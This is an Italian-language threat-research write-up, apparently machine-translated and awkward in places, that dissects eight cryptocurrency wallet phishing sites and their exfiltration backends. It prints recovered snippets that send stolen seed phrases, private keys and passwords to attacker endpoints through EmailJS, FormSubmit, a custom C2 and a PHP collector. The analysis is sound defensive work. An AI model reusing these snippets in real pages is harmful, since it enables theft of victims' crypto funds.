Anatomia del phishing nel mondo delle criptovalute:
8 attacchi reali analizzati in dettaglio

Soprosto

Un "protocollo decentralizzato" fittizio per la convalida dei wallet. Utilizza i ticker dei prezzi in tempo reale di CryptoCompare e link a veri blockchain explorer (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) per garantire credibilità. La pagina di destinazione presenta oltre 100 loghi di wallet e un processo di “convalida” in 3 fasi.

La doppia catena di esfiltrazione

Il backend più sofisticato tra tutti e cinque: ogni credenziale rubata viene inviata tramite due canali indipendenti contemporaneamente:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Risultati dell'analisi OSINT

Soprosto

Una riproduzione fedelissima della realtà Aqualibre (AQLA) pagina dedicata alla migrazione dei token. Il codice HTML contiene un tag di metadati che ne rivela la fonte: data-scrapbook-source="https://token.aqla.app/migration", con data del 19 novembre 2024.

L'approccio "zero-code"

Questo aggressore richiede nessun codice lato server. Il modulo invia i dati direttamente a Non statico — un backend per moduli legittimo per siti statici. Ogni invio viene inoltrato all'indirizzo e-mail del truffatore. L'indirizzo e-mail dell'autore dell'attacco è non è mai visibile nel codice sorgente.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Soprosto

Il sottodominio contiene "safpal" — un errore ortografico intenzionale di SafePal, un popolare portafoglio hardware. Il sito si presenta come "Blockchain Wallet Rectification" con 26 categorie di argomenti fasulle. Utilizza Typed.js per animare i nomi delle blockchain (Ethereum, BSC, Polygon...) e un ticker LiveCoinWatch per dare un'impressione di credibilità.

Stesso kit, stesso operatore?

Utilizza il lo stesso identico modello di phishing come sito n. 2: identico connect.html, identico wallets.html con oltre 60 loghi, lo stesso backend Un-static (ID del modulo diverso — 6f1b82c3...da9943af). Il fatto che il kit sia identico fa fortemente supporre che un unico operatore che gestisce entrambi i siti.

Errori evidenti nel codice: "Privay Policy" (manca la "c"), "seperated" (dovrebbe essere "separated"), "Kestore" (manca la "y"). Il campo password utilizza type="text" anziché type="password".

Soprosto

Un clone quasi perfetto del Flare Network portale — una vera e propria blockchain EVM di livello 1 con i protocolli FTSO e Data Connector. Riproduce oltre 30 partner dell'ecosistema, la navigazione e l'immagine del marchio. Favicon caricate da un sito typosquat: portal.flaremainet.com (manca una "n" in "mainnet").

Doppia ridondanza di EmailJS

L'unico sito che utilizza due account EmailJS distinti contemporaneamente per garantire la ridondanza contro le rimozioni:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Oggetto dell'e-mail per ogni furto: "New Wallet Details from Flare".

Sito n. 4: annunci a pagamento, monitoraggio analitico e doppia esfiltrazione — l’operazione più professionale

Soprosto

Un servizio generico denominato "COIN NODE" / "Wallet Fix" (senza marchio specifico). Copyright "Wallet Fix 2022" — questo modello di kit risale ad almeno 4 anni fa. Immagini ospitate su pumpeth.com (WordPress su AWS).

Phishing-as-a-Service

L'architettura backend più preoccupante: una API multi-tenant basata su UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

A ogni truffatore viene assegnato un endpoint UUID dedicato. Un operatore centrale gestisce l'API, monitora le campagne e, potenzialmente, trattiene una percentuale dei fondi sottratti. Questo è furti di criptovalute su larga scala — un modello di “phishing-as-a-service”.

Infrastrutture correlate (per lo più inattive)

Soprosto

A operazione su due fronti: un "Centro assistenza" generico all'indirizzo wallet-support-39n.pages.dev con 15 categorie di banconote false e 39 marche di portafogli, oltre a un Clone della procedura di registrazione su Ledger con riproduzione perfetta al pixel alle ledger-recovery.support ospitato su Replit — completo di selezione del modello del dispositivo, configurazione del PIN e una griglia con la frase seed di 24 parole con autocompletamento BIP39 reale.

Backend C2 anti-scanner

La pagina di assistenza del portafoglio invia i dati rubati a api.uranustoken.org/log — un C2 personalizzato basato su nginx/Ubuntu dietro Cloudflare. Il backend elimina intenzionalmente tutte le richieste GET (restituisce un errore 522 per timeout), rispondendo solo alle richieste POST. Ciò significa che gli scanner di URL, i crawler di Google Safe Browsing e i ricercatori di sicurezza che inviano richieste GET all'endpoint non rilevano nulla: il C2 sembra inattivo.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Il clone di Ledger esegue un backend Express.js separato direttamente su Replit: POST /api/recovery-phrase raccolta {deviceId, pin, phrase}. Restituisce 400 {"error":"Invalid data provided"} in caso di input non valido — a conferma che il backend è in tempo reale e con verifica attiva dati rubati.

Risultati dell'analisi OSINT

Soprosto

Una piattaforma generica di "lancio decentralizzato" con 21 categorie di esche (Staking, migrazione, KYC, omaggi, riscossione dei premi, recupero degli asset, prevendita, conio di NFT, account bloccati...) e Oltre 70 marchi di portafogli — una delle liste di portafogli più complete che abbiamo trovato. L’errore ortografico rivelatore “Sychronize” (manca la “n”) ne smaschera la falsità.

La pipeline FormSubmit

Usi FormSubmit.co — un servizio legittimo di invio di moduli via e-mail. L'hash dell'endpoint a2cf4131f1a5d39453c7c183df96f86f è l'MD5 dell'indirizzo e-mail del truffatore. Abbiamo effettuato attacchi di forza bruta su centinaia di modelli di indirizzi e-mail su Gmail, Yahoo, Hotmail, ProtonMail, Yandex e Mail.ru — nessuna corrispondenza. Il truffatore utilizza un indirizzo e-mail poco comune o generato casualmente.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Risultati dell'analisi OSINT

Soprosto

Sconosciuto — sia il frontend che il backend sono offline. In base alla struttura del payload, si trattava di un programma per il furto della frase seed di un portafoglio crittografico. Il Bucket pubblico di Cloudflare R2 (archiviazione a oggetti, non Pages) è un vettore di phishing ben documentato con oltre 5.000 pagine dannose individuate e un aumento del traffico di 61 volte segnalato da Netskope.

La configurazione dello “script kiddie”

Il più operazione primitiva in questa raccolta. Le frasi seme vengono inviate parola per parola a uno script PHP in esecuzione su un computer di casa o su un VPS collegato a un servizio DNS dinamico gratuito:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Risultati dell'analisi OSINT